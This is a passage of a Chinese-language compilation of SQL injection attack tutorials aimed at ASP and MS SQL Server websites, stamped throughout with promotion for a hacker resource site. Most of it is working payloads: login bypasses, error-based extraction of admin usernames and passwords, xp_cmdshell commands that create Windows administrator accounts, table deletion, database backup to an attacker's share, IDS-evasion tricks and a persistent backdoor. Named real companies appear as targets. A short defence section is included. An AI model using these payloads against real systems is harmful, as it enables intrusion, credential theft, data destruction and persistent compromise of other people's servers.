的参数。尽管如此,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别

是否有参数传递,相关的代码

如下:

的标签对间的每一个参数传递都有可能可以被利用(利用

在攻击的情况下)着SQL注入。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

2.1当你找不到有输入行为的页面时应该怎么办呢?

你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参

数的特殊URL,如:

duck/?id=10

3.0你应该如何测试这些缺陷是否存在呢?

首先先加入某些特殊的字符标记,输入如:

hi' or 1=1--

寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:

- Login: hi' or 1=1--

- Pass: hi' or 1=1--

- duck/?id=hi' or 1=1--

如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本

地硬盘,修改其隐藏部分

的值,如:

如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是' or 1=1--呢?

让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使

用这样的登陆方式可能

可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打

比方:

duck/?category=food

在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做

到这些(链接成功),

这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码

):

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=e(sqlstr)

正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语

句将会变为:

SELECT * FROM product WHERE PCategory='food'

这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是

'food'了。现在设想一下如果

我们把该URL改成这样的话:

duck/?category=food' or 1=1--

现在我们的变量v_cat的值就等同于"food' or

1=1--"了,现在如果我们要重新代入

那条SQL请求的话,

那条SQL请求将会是:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

等于'food'。至于结尾

部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单

引号)。有的时候也

可以使用'#'(井号)来代替

'--'(双破折号)在这里的用法。

无论如何,如果对方不是一台SQL服务器(这里指的是M

S SQL SERVER),或者

你不能使用简单的方法去忽

略最后的那个单引号的话,你可以尝试:

' or 'a'='a

这样的话整个SQL请求将会变为:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

它也会返回相同的结果。

根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4.0如何在SQL注入请求中加入即时执行命令?

能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时

我们可以尝试使用SQL的命

令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同

于系统管理员的执行与访问权

限。我们可以使用MS SQL SERVER的扩展储存过程(如p_cmdshell等)

来执行远程系统的某些命

令:

'; p_cmdshell 'ping 10.10.1.2'--

若失败可以尝试一下使用"(双引号)代替'(单引号)。

上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条

新SQL命令)。若要检验上

面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,

并确认它是否来自那台SQL

服务器就可以了:

#tcpdump icmp

如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值

中得到错误信息的话,有可能

是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?

我们可以使用sp_makewebtask处理过程的相关请求写入URL

:

'; EXEC master..sp_makewebtask "", "SELECT * FROM

INFORMATION

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

_"

但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?

我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透

露出我们想得到的信息(如表

名、列名等)。比方有这么一个URL:

duck/?id=10

在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请

求字符串进去的,如:

duck/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_--

上例中的系统表INFORMATION_包括了这台服务器中所有

表的信息。至于TABLE_NAME区域就

包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在

的。换言之我们的SQL询

问请求就是:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_-

服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句

将请求字符串加入整数10之

后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串

(nvarchar)转为整数型(int

)时,系统就会产生错误。服务器会显示如下错误信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

table1' to a column of data type int.

/, line 5

非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知

道的表名)。在这个实例

中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这

样的请求:

duck/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WH

ERE TABLE_NAME NOT IN ('table1')--

我们也可以通过LIKE来找寻相关的特殊字:

duck/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WH

ERE TABLE_NAME LIKE '%25login%25'--

输出得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

admin_login' to a column of data type int.

/, line 5

6.1如何找出表中的列名?

我们可以利用另一个比较重要的表INFORMATION_S来罗

列出一个表的所有列名:

duck/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S

WHERE TABLE_NAME='admin_login'--

输出显示为:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

login_id' to a column of data type int.

/, line 5

现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:

duck/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id')--

输出得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

login_name' to a column of data type int.

/, line 5

若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、

"details"。当我们使用了下

面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):

duck/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id','login_name','password'

,details')--

输出后得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear

in the select lis

t if the statement contains a UNION operator.

/, line 5

6.2如何找到我们需要的数据?

现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库

从而得到相关的信息。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

现在让我们问问"admin_login"表的第一个用户名是什么吧:

duck/?id=10 UNION SELECT TOP 1 login_name FROM

admin_login--

输出:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

neo' to a column of data type int.

/, line 5

知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:

duck/?id=10 UNION SELECT TOP 1 password FROM admin_login

where login_name='

neo'--

输出:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

m4trix' to a column of data type int.

/, line 5

现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?

在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文

本数据的话,我们将无法

得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"

的密码,而它所对应

的密码为"31173":

duck/?id=10 UNION SELECT TOP 1 password FROM admin_login

where login_name='

trinity'--

这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在

于,在与整数(这个例

子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转

换为数值。这样的话这个UN

ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因

而我们是不可能得到这些

数字型数据的。

为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程

是错误的。让我们试试

用下面的这条请求来代替原来的请求吧:

duck/?id=10 UNION SELECT TOP 1 convert(int,

password%2b'%20morpheus') FROM

admin_login where login_name='trinity'--

在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

ASCII中'+'等于0x2b)。我

们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。

这样的话,即使我们得到

了数字串'31173',它也会变成'31173 morpheus'。

在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服

务器一定会返回这样

的ODBC错误信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

31173 morpheus' to a column of data type int.

/, line 5

现在你可以知道'trinity'的密码是'31173'了吧。

7.0如何在数据库中更新/插入数据?

当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的

数据或者INSERT(加入)新

的数据。打个比方,我们要修改帐号"neo"的密码:

duck/?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5'

WHERE login_na

me='neo'--

加入一条新的记录:

duck/?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name',

'password

', 'details') VALUES (666,'neo2','newpas5','NA')--

现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

8.0如何避免被SQL注入攻击?

过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤

的对象包括:

-用户的输入

-提交的URL请求中的参数部分

-从cookie中得到的数据

至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC

确定它为一个整型数。

修改“Startup and run SQL Server”的用户运行级别为低级别。

删除一系列你不需要的储存过程,如:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

SQL数据库的一些攻击

作者: 文章出处:网络卫士

网络安全焦点 Hectic

对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写

ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率

也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有

相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编

程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的

请求,就留下后患无穷!

这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原

理我想大家因该都知道了,那么随之而来的便是;exec

sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,

首先ASP使用的SQL Server账号是个管理员,其次请求的提交变

量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news

WHERE id=... AND topic=... AND .....

这种方法请求数据库,那么如果还用以上的例子就会

?id=2;exec sp_addlogin hax

变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=...

AND ...

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,

你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方

?id=2;exec sp_addlogin hax;--

后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误

了,sp_addlogin正常执行!

那么我们连一起来用吧

?id=2;exec _addlogin hax;--

?id=2;exec _password null,hax,hax;--

?id=2;exec _addsrvrolemember sysadmin hax;--

?id=2;exec _cmdshell 'net user hax hax /workstations:*

/times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--

?id=2;exec _cmdshell 'net localgroup administrators hax

/add';--

这样,你在他的数据库和系统内都留下了hax管理员账号了

当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在

这个漏洞的。

以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

然也会涉及到1433端口的入侵

当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。

你如天融信的主页,有新闻内容,如下:

/news/?newid=117

大家可以试试看/news/?newid=117;select

123;--

呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面

用'号结束

那么试试看/news/?newid=117';delete news;--

哈哈,我想只要表名猜对了,新闻库就被删了

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个

库有很高的管理权限

但是我们不知道库名该怎么?看看db_name()函数吧

打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了

以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to

disk='你的IP你的共享目录' ,name='test';--

呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了

同理这个方法可以找到对方的SQL的IP

先装一个防火墙,打开ICMP和139TCP和4

45TCP的警告提示

然后试试看?id=2;exec _cmdshell 'ping 你的IP'

如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员

权限,同时也确定了对方的SQL Server的准确位置,因为很多大

一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到

源代码时,我想只有这个方法能很快的定位对方的SQL Server的位

置了

那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,

该怎么办?

别着急,试试看这个?id=2;declare @a;set @a=db_name();backup database

@a to disk='你的IP你的共享目录'

,name='test';--

呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,

对方的SQL的ip一样也可以暴露

那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉

大家一个更好的办法。

其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又

是拨号上网,呵呵,劝你别试了,很难成功传输的

下次我们还会谈到如何骗过IDS执行ASP+SQL入侵

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

目前有些好的IDS已经开始监视xp_cmdshell这些关键字了

好吧,同志们下次见

所有以上url希望大家通过vbscripq提交,因为浏览器的地址栏会屏蔽一些特殊

字符,这样你的命令就不能完整传输了

=URL

补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用

限制很大,其实这里面还有很多值得深入的地方比如

。国信证卷就有这个问题,而且他们采用ms的三层结构作的

用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是

我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和

administrators组的账号!由于对方防火墙很严checkpoint数据报进出

都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法

可以做到的:P

顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系

统函数当asp的sqlserver账号只是一个普通用户时,他们会

很有用的!

sql server新漏洞和一些突破口

下面我要谈到一些sqlserver新的bug,虽然本人经过长时间的努力,当然也有点

幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家

鉴别,当然很有可能有些高手早已知道了,毕竟我接触sqlserver的时间不到1年:

P

1。关于openrowset和opendatasource

可能这个技巧早有人已经会了,就是利用

openrowset发送本地命令

通常我们的用法是(包括MSDN的列子)如下

select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,

它必须跟在select后面,也就是说需要返回一个recordset

那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec

_cmdshell ''dir c:''')

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell

返回的output集合就会提交给前面的select显示,如果采用

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

默认设置,会返回空集合导致select出错,命令也就无法执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我

们就不能再依靠fmtonly设置了,可以如下操作

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec

_addlogin Hectic')

这样,命令至少会返回select 'OK!'的集合,你的机器商会显示OK!,同时对方的

数据库内也会增加一个Hectic的账号,也就是说,我们利用

select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理

sp_addsrvrolemember和opendatasource也可以如此操作!至于

这个方法真正的用处,大家慢慢想吧:P

2。关于msdasql两次请求的问题

不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver

的管理员才可以调用,那么如下

select * from openrowset('msdasql','driver={sql

server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=d

bmssocn','select * from table1 select * from

table2')

当table1和table2的字段数目不相同时,你会发现对方的

sqlserver崩溃了,连本

地连接都会失败,而系统资源占用一切正常,用pskill杀死

sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现

非法操作,我也只是碰巧找到这个bug的,具体原因我还没有

摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,

看来问题不是在于请求集合数目和返回集合数目不匹配上,因

该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P

3。可怕的后门

以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写

sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,

但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,

比如你在对方的sqlserver上用sqlserver的管理员账号执行如

下的命令

select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set

fmtonly off p_cmdshell

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

''dir c:''')

这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver

不重启,这个映射会一直存在下去,至少我现在还不知道如

何发现别人放置的连接映射

,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest

用户,运行以上这条命令也一样能通过!而且权限是

localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权

限的sqlserver上留下一个后门了。

以上的方法在sqlserver2000+sqlserver2000SP1上通过!

*另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,

一个是localserver一个是msqi,这两个在建立的时候是本地管理

员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,

那么sa的权限就和power user一样,很难有所大作为,但是

我们通过如下的命令

select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set

fmtonly off p_cmdshell ''dir

c:''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号

的权限执行本地命令了,这是后我想应该能突破sa那个

power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管

理员不让调用,所以我现在正在寻找guest调用msdasql的方法,

如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个

发放如果能成功被guest利用,将会是一个很严重的安全漏洞。

因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P

利用t-sql骗过ids或攻击ids

现在的ids已经变得越来越聪明了

有的ids加入了xp_cmdshell sp_addlogin 的监视

但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉

先说说欺骗ids:

ids既然监视xp_cmdshell关键字,那么我们可以这么做

declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:'

这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

master库内有一个id号,固定的,我们也可以这么做

假设这个id=988456

declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir

c:'

当然也可以

declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a

'dir c:'

这种做法排列组合,ids根本不可能做的到完全监视

同理,sp_addlogin也可以这么做

再说说攻击ids:

因为ids数据量很大,日至通常备份到常规数据库,比如sql server

如果用古老的做法,会严重影响ids的性能,因为通过ado做

t-sql请求,不但效率高,而且有一部分工作可以交给sql server

去做

通常程序会这么写

insert table values ('日至内容',...)

那么我么想想看,如果用

temp') exec xp_cmdshell 'dir c:' --

提交后会变成

insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:' -- ')

这样,xp_cmdshell就可以在ids的数据库运行了 :)

当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20

因此,%20会被提交到sql server,这样你的命令就无法执行了

唯一的办法就是

insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/--

')

用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行

淡然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录

呵呵

其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/

本来asp是select语句,那么用'就可以屏蔽

现在ids用insert语句,那么用')屏蔽

好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query

analyzer《SQL自带工具》了。

SQL Injection攻击技术

来源: 作者: 作者:JSW(监视我)

FROM:

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

前言:

这篇文章是我很久以前的作品了,写完后才知道isno也写了一篇。当我看过isno

的那篇后发现了我的文章错了好多个地方,后来我对这篇文章做了一些修改,希

望对读者能够有所帮助。

【什么是SQL Injection】

SQL Injection应该称为SQL指令植入式攻击,主要属于Input Validation的问题,

它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。

【SQL Injection的原理】

一般输入帐号密码的网站的SQL语法为

select * from member where UID =’ "& request("ID") &" ’ nAnd Passwd =’ "&

request("Pwd") & " ’

如果正常使用者输入帐号pl,密码1234

那么程序便会执行select * from member where UID =’pl’ And Passwd=’1234’

输入的帐号和密码等信息会取代ASP( or PHP、JSP)中的变量,並由两个单引号

(’ ’)所包住。那么,如果攻击者已知系统中已有一個Admin的管理者帐号,則

输入Admin ’-- ,即可不需输入密码而进入资料库,相应的语句为

select * from member where UID =’ Admin ’-- ’ nAnd Passwd =’ ’

(注:“ – ”符号后的任何叙述都会被当作注解,也就是说以上例子的And子句将

被SQL视为说明用)

【检测漏洞】

对大多数SQL服务器来说,我们并不知道对方程序的具体代码,而靠任何扫描器

也不可能发现SQL injection的漏洞,这样我们就要靠手工检测了。由于我们执行

SQL语句会用到单引号、分号、逗号、冒号和“――”,所以我们可以在URL后面

加上以上符合,或者在表单中的文本框中加入。比如:

jsw/?id=1’

jsw/?id=1;

通过页面返回的信息,判断是否存在SQL injection的漏洞,这种方法只是简单的

通过字符过滤来判断,根据IIS的配置不同,返回的信息也可能不同。有时显示

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’login_id’ to a column of data type int.

/, line 5

也可能是“http 500-内部服务器错误”,或者显示正常信息,判断的根据主要是经

验啦,因为现在好多服务器的没有出错回显了的。

【执行系统命令】

SQL injection攻击方法最

早源于’or’1’=’1的漏洞(我们暂且称其为漏洞),这个

漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax

(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的

SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为

有一些程序员采用

SELECT * FROM news WHERE id=... AND topic=... AND .....

这种方法请求数据库,那么如果还用以上的例子就会

?id=2;exec sp_addlogin hax

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

变成

SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=AND

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你

的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法

?id=2;exec sp_addlogin hax;--

这样就不会有语法错误了,后面的--符号把sp_addlogin后的判断语句变成了注释,

sp_addlogin正常执行!

如何判断我们的命令是否成功执行了呢?我们先装一个_blank">防火墙,打开

ICMP和139TCP和445TCP的警告提示然后提交

?id=2;exec _cmdshell ’ping 你的IP’

如果_blank">防火墙提示有人ping你,那么因该可以肯定对方的

ASP用的是SQL

的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大一点的

网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,

我想只有这个方法能很快的定位对方的SQL Server的位置了

那么我们连一起来用吧

?id=2;exec _addlogin hax;--

?id=2;exec _password null,hax,hax;--

?id=2;exec _addsrvrolemember sysadmin hax;--

?id=2;exec _cmdshell ’net user hax hax /workstations:*

/times:all /passwordchg:yes /passwordreq:yes

/active:yes /add’;--

?id=2;exec _cmdshell ’net localgroup administrators hax

/add’;--

这样,你在他的数据库和系统内都留下了hax管理员账号了。

当然大家可以试试看在id=2后面加上一个’符号,主要看对方的ASP怎么写了。

运用master..Xp_cmdshell,扩展,我们就可以在目标主机上执行任意命令的,类似

的还有xp_startmail, xp_sendmail, sp_makewebtask,具体的用法和

master..Xp_cmdshell差不多,我在这里就不多说了。需要指明的是

这种攻击方法

的前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏

洞的。

以后我们会讨论,如果对方的ASP不是用SQL管理员账号的时候,我们应该

如何攻击。

【对数据库的攻击】

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个

库有很高的管理权限。大家可以试试看

jsw/?newid=117;select 123;--

呵呵,报语法错误,select 123错误,显而易见,这个ASP在newid变量后面用’

号结束

那么试试看jsw/som

ething..asp?newid=117’;delete news;--

哈哈,我想只要表名猜对了,数据库里面的信息就被删了。

还有一种的作法,就是提交

?id=2;declare @a;set @a=db_name();backup database @a to disk=’你的IP

你的共享目录’ ,name=’test’;--

呵呵,你的_blank">防火墙该发出警告了,有人连接你的

445或139(win9端口了,

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

这样,对方的SQL的ip一样也可以暴露,其实backuo database到你的硬盘还是有

点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难

成功传输的。

【从数据库中提取任意信息】

这是本文要简单的一个重要的部分。一般来说,用于查询数据的SQL语句会用到

以下的这种格式:

:

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’"

set rs=e(sqlstr)

那么我们向包含以上代码的AS

P文件提交

jsw/?category=food’or 1=1--’

切换到程序中后变成

SELECT * FROM product WHERE PCategory=’food’ or 1=1--’

也就是说我们可以提交一些非法的值给这个ASP脚本,使它执行我们想要的SQL

语句。

下面我用一个攻击过程来说明SQL injection的利用方法。

在使用SQL injection攻击的时候,我们首先要得到目标数据库的结构,提交

jsw/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_--

INFORMATION_包含的

是数据库上的所有表名,我们提交的

SQL语句为

SELECT TOP 1 TABLE_NAME FROM INFORMATION_—

主要是用来得到数据库上的第一个表名。当MS SQL Server尝试去执行这个语句

的时侯将返回以下的信息:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’syssegments’ to a column of data type int.

/, line 5

而这种ODBC的错误信息恰好包含了我们想要的内容。现在我们得到可数据库中

的第一个表名:“syssegments”这是建立数据库后系统自动生成的,接下来我们继

续提交:

jsw/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WHERE TABLE_NAME NOT IN

(’syssegments’)--

可以得到下一个表名

当然,我们也可以通过LIK

E对数据库进行查询:

jsw/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WHERE TABLE_NAME

LIKE ’%25login%25’--

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

返回:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’admin_login’ to a column of data type int.

/, line 5

在SQL SERVER中,’%25login%25’ 将会被替换为 %login% 。这样我们同样可

以得到了数据库中的第一个表名。我们再来提取admin_login表中的数据分类。

jsw/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S WHERE TABLE_NAME=’admin_login’--

返回:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’login_id’ to a column of data type int.

/, line 5

ODBC 信息中的“admin_login”便是第一个分类内容,要得到其他的分类,还可

以使用

jsw/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S WHERE TABLE_NAME=’admin_login’

WHERE COLUMN_NAME NOT IN (’login_id’)--

返回:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’login_name’ to a column of data type int.

/, line 5

类似的还有:

jsw/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S WHERE TABLE_NAME=’admin_login’

WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’,details’)--

现在我们来开始提取数据库中的帐号和密码,先从admin_login表中得到第一个

login_name。

提交:

jsw/?id=10 UNION SELECT TOP 1 login_name FROM

admin_login--

返回的信息:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’neo’ to a column of data type int.

/, line 5

很显然,数据库中的第一个“login_name”为neo。看看他的密码是什么:

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

jsw/?id=10 UNION SELECT TOP 1 password FROM admin_login

where login_name=’neo’—

返回:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

